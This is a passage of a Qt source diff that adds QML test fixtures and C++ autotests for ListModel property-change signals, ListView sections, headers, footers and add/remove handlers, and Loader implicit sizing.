+ ok = ( model.get(0).attrs.get(0).abc == 789
+ && model.get(0).attrs.get(0).def == 101 )
+
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
index 5a88dd1..45072f3 100644
--- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
+++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
@@ -59,6 +59,7 @@
#endif
Q_DECLARE_METATYPE(QList<int>)
+Q_DECLARE_METATYPE(QList<QVariantHash>)
class tst_qdeclarativelistmodel : public QObject
{
@@ -100,6 +101,11 @@ private slots:
void get_nested();
void get_nested_data();
void crash_model_with_multiple_roles();
+ void set_model_cache();
+ void property_changes();
+ void property_changes_data();
+ void property_changes_worker();
+ void property_changes_worker_data();
};
int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName)
{
@@ -297,13 +303,10 @@ void tst_qdeclarativelistmodel::dynamic_data()
QTest::newRow("nested-append3") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.append({'a':4});get(0).bars.get(3).a}" << 4 << "";
QTest::newRow("nested-insert") << "{append({'foo':123});insert(0,{'bars':[{'a':1},{'b':2},{'c':3}]});get(0).bars.get(0).a}" << 1 << "";
- QTest::newRow("nested-set") << "{append({'foo':123});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << "";
+ QTest::newRow("nested-set") << "{append({'foo':[{'x':1}]});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << "";
QTest::newRow("nested-count") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.count}" << 3 << "";
QTest::newRow("nested-clear") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.clear(); get(0).bars.count}" << 0 << "";
-
- // XXX
- //QTest::newRow("nested-setprop") << "{append({'foo':123});setProperty(0,'foo',[{'x':123}]);get(0).foo.get(0).x}" << 123 << "";
}
void tst_qdeclarativelistmodel::dynamic()
@@ -420,6 +423,9 @@ void tst_qdeclarativelistmodel::dynamic_worker_sync()
if (QByteArray(QTest::currentDataTag()).startsWith("nested"))
QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script");
+ if (QByteArray(QTest::currentDataTag()).startsWith("nested-set"))
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script");
+
QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
Q_ARG(QVariant, operations.mid(0, operations.length()-1))));
waitForWorker(item);
@@ -928,6 +934,163 @@ void tst_qdeclarativelistmodel::crash_model_with_multiple_roles()
model->setProperty(0, "black", true);
}
+//QTBUG-15190
+void tst_qdeclarativelistmodel::set_model_cache()
+{
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/setmodelcachelist.qml"));
+ QObject *model = component.create();
+ QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+ QVERIFY(model != 0);
+ QVERIFY(model->property("ok").toBool());
+}
+
+void tst_qdeclarativelistmodel::property_changes()
+{
+ QFETCH(QString, script_setup);
+ QFETCH(QString, script_change);
+ QFETCH(QString, roleName);
+ QFETCH(int, listIndex);
+ QFETCH(bool, itemsChanged);
+ QFETCH(QString, testExpression);
+
+ QDeclarativeEngine engine;
+ QDeclarativeListModel model;
+ QDeclarativeEngine::setContextForObject(&model, engine.rootContext());
+ engine.rootContext()->setContextObject(&model);
+
+ QDeclarativeExpression expr(engine.rootContext(), &model, script_setup);
+ expr.evaluate();
+ QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString()));
+
+ QString signalHandler = "on" + QString(roleName[0].toUpper()) + roleName.mid(1, roleName.length()) + "Changed:";
+ QString qml = "import QtQuick 1.0\n"
+ "Connections {\n"
+ "property bool gotSignal: false\n"
+ "target: model.get(0)\n"
+ + signalHandler + " gotSignal = true\n"
+ "}\n";
+ QDeclarativeComponent component(&engine);
+ component.setData(qml.toUtf8(), QUrl::fromLocalFile(""));
+ engine.rootContext()->setContextProperty("model", &model);
+ QObject *connectionsObject = component.create();
+ QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+
+ QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+ expr.setExpression(script_change);
+ expr.evaluate();
+ QVERIFY2(!expr.hasError(), QTest::toString(expr.error()));
+
+ // test the object returned by get() emits the correct signals
+ QCOMPARE(connectionsObject->property("gotSignal").toBool(), itemsChanged);
+
+ // test itemsChanged() is emitted correctly
+ if (itemsChanged) {
+ QCOMPARE(spyItemsChanged.count(), 1);
+ QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex);
+ QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1);
+ } else {
+ QCOMPARE(spyItemsChanged.count(), 0);
+ }
+
+ expr.setExpression(testExpression);
+ QCOMPARE(expr.evaluate().toBool(), true);
+
+ delete connectionsObject;
+}
+
+void tst_qdeclarativelistmodel::property_changes_data()
+{
+ QTest::addColumn<QString>("script_setup");
+ QTest::addColumn<QString>("script_change");
+ QTest::addColumn<QString>("roleName");
+ QTest::addColumn<int>("listIndex");
+ QTest::addColumn<bool>("itemsChanged");
+ QTest::addColumn<QString>("testExpression");
+
+ QTest::newRow("set: plain") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':123});"
+ << "b" << 0 << true << "get(0).b == 123";
+ QTest::newRow("setProperty: plain") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 123);"
+ << "b" << 0 << true << "get(0).b == 123";
+
+ QTest::newRow("set: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':456});"
+ << "b" << 0 << false << "get(0).b == 456";
+ QTest::newRow("setProperty: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 456);"
+ << "b" << 0 << false << "get(0).b == 456";
+
+ // Following tests only call set() since setProperty() only allows plain
+ // values, not lists, as the argument.
+ // Note that when a list is changed, itemsChanged() is currently always
+ // emitted regardless of whether it actually changed or not.
+
+ QTest::newRow("nested-set: list, new size") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2";
+
+ QTest::newRow("nested-set: list, empty -> non-empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3";
+
+ QTest::newRow("nested-set: list, non-empty -> empty") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[]});"
+ << "b" << 0 << true << "get(0).b.count == 0";
+
+ QTest::newRow("nested-set: list, same size, different values") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':222},{'a':3}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 222 && get(0).b.get(2).a == 3";
+
+ QTest::newRow("nested-set: list, no changes") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3";
+
+ QTest::newRow("nested-set: list, no changes, empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[]});"
+ << "b" << 0 << true << "get(0).b.count == 0";
+}
+
+
+void tst_qdeclarativelistmodel::property_changes_worker()
+{
+ // nested models are not supported when WorkerScript is involved
+ if (QByteArray(QTest::currentDataTag()).startsWith("nested-"))
+ return;
+
+ QFETCH(QString, script_setup);
+ QFETCH(QString, script_change);
+ QFETCH(QString, roleName);
+ QFETCH(int, listIndex);
+ QFETCH(bool, itemsChanged);
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
+ QDeclarativeItem *item = createWorkerTest(&engine, &component, &model);
+ QVERIFY(item != 0);
+
+ QDeclarativeExpression expr(engine.rootContext(), &model, script_setup);
+ expr.evaluate();
+ QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString()));
+
+ QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
+ Q_ARG(QVariant, QStringList(script_change))));
+ waitForWorker(item);
+
+ // test itemsChanged() is emitted correctly
+ if (itemsChanged) {
+ QCOMPARE(spyItemsChanged.count(), 1);
+ QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex);
+ QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1);
+ } else {
+ QCOMPARE(spyItemsChanged.count(), 0);
+ }
+
+ delete item;
+ qApp->processEvents();
+}
+
+void tst_qdeclarativelistmodel::property_changes_worker_data()
+{
+ property_changes_data();
+}
+
QTEST_MAIN(tst_qdeclarativelistmodel)
#include "tst_qdeclarativelistmodel.moc"
diff --git a/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml
new file mode 100644
index 0000000..5ca1a45
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+ListView {
+ id: view
+ width: 240; height: 320
+
+ property variant addedDelegates: []
+ property int removedDelegateCount
+
+ model: testModel
+
+ delegate: Rectangle {
+ width: 200; height: delegateHeight
+ border.width: 1
+ ListView.onAdd: {
+ var obj = ListView.view.addedDelegates
+ obj.push(model.name)
+ ListView.view.addedDelegates = obj
+ }
+ ListView.onRemove: {
+ view.removedDelegateCount += 1
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/footer.qml b/tests/auto/declarative/qdeclarativelistview/data/footer.qml
index 4cbd33b..33e04f1 100644
--- a/tests/auto/declarative/qdeclarativelistview/data/footer.qml
+++ b/tests/auto/declarative/qdeclarativelistview/data/footer.qml
@@ -1,6 +1,9 @@
import QtQuick 1.0
Rectangle {
+ function changeFooter() {
+ list.footer = footer2
+ }
width: 240
height: 320
color: "#ffffff"
@@ -27,4 +30,9 @@ Rectangle {
delegate: myDelegate
footer: Text { objectName: "footer"; text: "Footer"; height: 30 }
}
+
+ Component {
+ id: footer2
+ Text { objectName: "footer2"; text: "Footer 2"; height: 20 }
+ }
}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/header.qml b/tests/auto/declarative/qdeclarativelistview/data/header.qml
index 6da996e..38cdd6e 100644
--- a/tests/auto/declarative/qdeclarativelistview/data/header.qml
+++ b/tests/auto/declarative/qdeclarativelistview/data/header.qml
@@ -1,6 +1,9 @@
import QtQuick 1.0
Rectangle {
+ function changeHeader() {
+ list.header = header2
+ }
width: 240
height: 320
color: "#ffffff"
@@ -26,6 +29,10 @@ Rectangle {
snapMode: ListView.SnapToItem
model: testModel
delegate: myDelegate
- header: Text { objectName: "header"; text: "Header"; height: 10 }
+ header: Text { objectName: "header"; text: "Header"; height: 20 }
+ }
+ Component {
+ id: header2
+ Text { objectName: "header2"; text: "Header 2"; height: 10 }
}
}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml
new file mode 100644
index 0000000..9d9cda8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml
@@ -0,0 +1,68 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Item {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20;
+ width: 240
+ Rectangle {
+ height: 20
+ width: parent.width
+ color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white"
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 100
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ objectName: "nextSection"
+ x: 150
+ text: wrapper.ListView.nextSection
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ }
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "height"; to: 0; duration: 100; easing.type: Easing.InOutQuad }
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ section.property: "number"
+ section.delegate: Rectangle {
+ objectName: "sect_" + section
+ color: "#99bb99"
+ height: 20
+ width: list.width
+ Text { text: section }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
index 534540f..3cd6f42 100644
--- a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
+++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
@@ -1,10 +1,13 @@
import QtQuick 1.0
Rectangle {
+ id: root
width: 240
height: 320
color: "#ffffff"
+ property bool showHeader: false
+ property bool showFooter: false
property real hr: list.visibleArea.heightRatio
function heightRatio() {
return list.visibleArea.heightRatio
@@ -105,6 +108,10 @@ Rectangle {
Component {
id: invalidHl
SmoothedAnimation {}
+ },
+ Component {
+ id: headerFooter
+ Rectangle { height: 30; width: 240; color: "blue" }
}
]
ListView {
@@ -119,5 +126,7 @@ Rectangle {
highlightMoveSpeed: 1000
highlightResizeSpeed: 1000
cacheBuffer: testObject.cacheBuffer
+ header: root.showHeader ? headerFooter : null
+ footer: root.showFooter ? headerFooter : null
}
}
diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
index b343010..c7f90da 100644
--- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
+++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
@@ -90,6 +90,7 @@ private slots:
void enforceRange();
void spacing();
void sections();
+ void sectionsDelegate();
void cacheBuffer();
void positionViewAtIndex();
void resetModel();
@@ -108,6 +109,12 @@ private slots:
void QTBUG_16037();
void indexAt();
void incrementalModel();
+ void onAdd();
+ void onAdd_data();
+ void onRemove();
+ void onRemove_data();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
template <class T> void items();
@@ -294,6 +301,13 @@ public:
emit endInsertRows();
}
+ void addItems(const QList<QPair<QString, QString> > &items) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1);
+ for (int i=0; i<items.count(); i++)
+ list.append(QPair<QString,QString>(items[i].first, items[i].second));
+ emit endInsertRows();
+ }
+
void insertItem(int index, const QString &name, const QString &number) {
emit beginInsertRows(QModelIndex(), index, index);
list.insert(index, QPair<QString,QString>(name, number));
@@ -1015,6 +1029,71 @@ void tst_QDeclarativeListView::sections()
delete canvas;
}
+void tst_QDeclarativeListView::sectionsDelegate()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i/5));
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20));
+ QDeclarativeText *next = findItem<QDeclarativeText>(item, "nextSection");
+ QCOMPARE(next->text().toInt(), (i+1)/5);
+ }
+
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "sect_" + QString::number(i));
+ QVERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20*6));
+ }
+
+ model.modifyItem(0, "One", "aaa");
+ model.modifyItem(1, "Two", "aaa");
+ model.modifyItem(2, "Three", "aaa");
+ model.modifyItem(3, "Four", "aaa");
+ model.modifyItem(4, "Five", "aaa");
+
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+ "sect_" + (i == 0 ? QString("aaa") : QString::number(i)));
+ QVERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20*6));
+ }
+
+ // remove section boundary
+ model.removeItem(5);
+ qApp->processEvents();
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+ "sect_" + (i == 0 ? QString("aaa") : QString::number(i)));
+ QVERIFY(item);
+ }
+
+ // QTBUG-17606
+ QList<QDeclarativeItem*> items = findItems<QDeclarativeItem>(contentItem, "sect_1");
+ QCOMPARE(items.count(), 1);
+
+ delete canvas;
+}
+
void tst_QDeclarativeListView::currentIndex()
{
TestModel model;
@@ -1329,6 +1408,19 @@ void tst_QDeclarativeListView::positionViewAtIndex()
QTRY_COMPARE(item->y(), i*20.);
}
+ // Position at End using last index
+ listview->positionViewAtIndex(model.count()-1, QDeclarativeListView::End);
+ QTRY_COMPARE(listview->contentY(), 480.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 24; i < model.count(); ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
// Position at End
listview->positionViewAtIndex(20, QDeclarativeListView::End);
QTRY_COMPARE(listview->contentY(), 100.);
@@ -1370,6 +1462,24 @@ void tst_QDeclarativeListView::positionViewAtIndex()
listview->positionViewAtIndex(20, QDeclarativeListView::Contain);
QTRY_COMPARE(listview->contentY(), 100.);
+ // positionAtBeginnging
+ listview->positionViewAtBeginning();
+ QTRY_COMPARE(listview->contentY(), 0.);
+
+ listview->setContentY(80);
+ canvas->rootObject()->setProperty("showHeader", true);
+ listview->positionViewAtBeginning();
+ QTRY_COMPARE(listview->contentY(), -30.);
+
+ // positionAtEnd
+ listview->positionViewAtEnd();
+ QTRY_COMPARE(listview->contentY(), 480.); // 40*20 - 320
+
+ listview->setContentY(80);
+ canvas->rootObject()->setProperty("showFooter", true);
+ listview->positionViewAtEnd();
+ QTRY_COMPARE(listview->contentY(), 510.);
+
delete canvas;
}
@@ -1579,7 +1689,7 @@ void tst_QDeclarativeListView::QTBUG_9791()
// Confirm items positioned correctly
int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
- QVERIFY(itemCount == 3);
+ QCOMPARE(itemCount, 3);
for (int i = 0; i < itemCount; ++i) {
QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
@@ -1703,12 +1813,27 @@ void tst_QDeclarativeListView::header()
QDeclarativeText *header = findItem<QDeclarativeText>(contentItem, "header");
QVERIFY(header);
QCOMPARE(header->y(), 0.0);
+ QCOMPARE(header->height(), 20.0);
QCOMPARE(listview->contentY(), 0.0);
model.clear();
QTRY_COMPARE(header->y(), 0.0);
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader");
+
+ header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(!header);
+ header = findItem<QDeclarativeText>(contentItem, "header2");
+ QVERIFY(header);
+
+ QCOMPARE(header->y(), 10.0);
+ QCOMPARE(header->height(), 10.0);
+ QCOMPARE(listview->contentY(), 10.0);
+
delete canvas;
}
{
@@ -1763,6 +1888,7 @@ void tst_QDeclarativeListView::footer()
QDeclarativeText *footer = findItem<QDeclarativeText>(contentItem, "footer");
QVERIFY(footer);
QCOMPARE(footer->y(), 60.0);
+ QCOMPARE(footer->height(), 30.0);
model.removeItem(1);
QTRY_COMPARE(footer->y(), 40.0);
@@ -1770,6 +1896,20 @@ void tst_QDeclarativeListView::footer()
model.clear();
QTRY_COMPARE(footer->y(), 0.0);
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter");
+
+ footer = findItem<QDeclarativeText>(contentItem, "footer");
+ QVERIFY(!footer);
+ footer = findItem<QDeclarativeText>(contentItem, "footer2");
+ QVERIFY(footer);
+
+ QCOMPARE(footer->y(), 600.0);
+ QCOMPARE(footer->height(), 20.0);
+ QCOMPARE(listview->contentY(), 0.0);
+
delete canvas;
}
@@ -2026,6 +2166,152 @@ void tst_QDeclarativeListView::incrementalModel()
delete canvas;
}
+void tst_QDeclarativeListView::onAdd()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, itemsToAdd);
+
+ const int delegateHeight = 10;
+ TestModel2 model;
+
+ // these initial items should not trigger ListView.onAdd
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem("dummy value", "dummy value");
+
+ QDeclarativeView *canvas = createView();
+ canvas->setFixedSize(200, delegateHeight * (initialItemCount + itemsToAdd));
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+
+ QObject *object = canvas->rootObject();
+ object->setProperty("width", canvas->width());
+ object->setProperty("height", canvas->height());
+ qApp->processEvents();
+
+ QList<QPair<QString, QString> > items;
+ for (int i=0; i<itemsToAdd; i++)
+ items << qMakePair(QString("value %1").arg(i), QString::number(i));
+ model.addItems(items);
+
+ qApp->processEvents();
+
+ QVariantList result = object->property("addedDelegates").toList();
+ QCOMPARE(result.count(), items.count());
+ for (int i=0; i<items.count(); i++)
+ QCOMPARE(result[i].toString(), items[i].first);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::onAdd_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("itemsToAdd");
+
+ QTest::newRow("0, add 1") << 0 << 1;
+ QTest::newRow("0, add 2") << 0 << 2;
+ QTest::newRow("0, add 10") << 0 << 10;
+
+ QTest::newRow("1, add 1") << 1 << 1;
+ QTest::newRow("1, add 2") << 1 << 2;
+ QTest::newRow("1, add 10") << 1 << 10;
+
+ QTest::newRow("5, add 1") << 5 << 1;
+ QTest::newRow("5, add 2") << 5 << 2;
+ QTest::newRow("5, add 10") << 5 << 10;
+}
+
+void tst_QDeclarativeListView::onRemove()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, indexToRemove);
+ QFETCH(int, removeCount);
+
+ const int delegateHeight = 10;
+ TestModel2 model;
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem(QString("value %1").arg(i), "dummy value");
+
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+ QObject *object = canvas->rootObject();
+
+ qApp->processEvents();
+
+ model.removeItems(indexToRemove, removeCount);
+ qApp->processEvents();
+ QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::onRemove_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("indexToRemove");
+ QTest::addColumn<int>("removeCount");
+
+ QTest::newRow("remove first") << 1 << 0 << 1;
+ QTest::newRow("two items, remove first") << 2 << 0 << 1;
+ QTest::newRow("two items, remove last") << 2 << 1 << 1;
+ QTest::newRow("two items, remove all") << 2 << 0 << 2;
+
+ QTest::newRow("four items, remove first") << 4 << 0 << 1;
+ QTest::newRow("four items, remove 0-2") << 4 << 0 << 2;
+ QTest::newRow("four items, remove 1-3") << 4 << 1 << 2;
+ QTest::newRow("four items, remove 2-4") << 4 << 2 << 2;
+ QTest::newRow("four items, remove last") << 4 << 3 << 1;
+ QTest::newRow("four items, remove all") << 4 << 0 << 4;
+
+ QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8;
+ QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5;
+ QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6;
+}
+
+void tst_QDeclarativeListView::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; ListView { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; ListView { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeListView::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtBeginning"
+ << "";
+
+ QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtEnd"
+ << "";
+}
+
void tst_QDeclarativeListView::qListModelInterface_items()
{
items<TestModel>();
diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
new file mode 100644
index 0000000..9949e34
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.1
+
+Rectangle {
+ color: "green"
+ width: loader.implicitWidth+50
+ height: loader.implicitHeight+50
+
+ Loader {
+ id: loader
+ sourceComponent: Item {
+ anchors.centerIn: parent
+
+ implicitWidth: 200
+ implicitHeight: 200
+ Rectangle {
+ color: "red"
+ anchors.fill: parent
+ }
+ }
+ anchors.fill: parent
+ anchors.margins: 15
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml
new file mode 100644
index 0000000..8a49733
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.1
+
+Rectangle {
+ property real loaderWidth: loader.width
+ property real loaderHeight: loader.height
+ width: 200
+ height: 200
+
+ Loader {
+ id: loader
+ sourceComponent: Item {
+ property real iwidth: 32
+ property real iheight: 32
+ width: iwidth
+ height: iheight
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
new file mode 100644
index 0000000..53aad97
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.1
+
+Rectangle {
+ property real implWidth: 0
+ property real implHeight: 0
+ color: "green"
+ width: loader.implicitWidth+50
+ height: loader.implicitHeight+50
+
+ Loader {
+ id: loader
+ sourceComponent: Item {
+ anchors.centerIn: parent
+
+ implicitWidth: 100
+ implicitHeight: 100
+ Rectangle {
+ color: "red"
+ anchors.fill: parent
+ }
+ }
+
+ anchors.fill: parent
+ anchors.margins: 50
+ onImplicitWidthChanged: implWidth = implicitWidth
+ onImplicitHeightChanged: implHeight = loader.implicitHeight
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
index 358822e..f5218c7 100644
--- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
+++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
@@ -89,6 +89,9 @@ private slots:
void nonItem();
void vmeErrors();
void creationContext();
+ void QTBUG_16928();
+ void implicitSize();
+ void QTBUG_17114();
private:
QDeclarativeEngine engine;
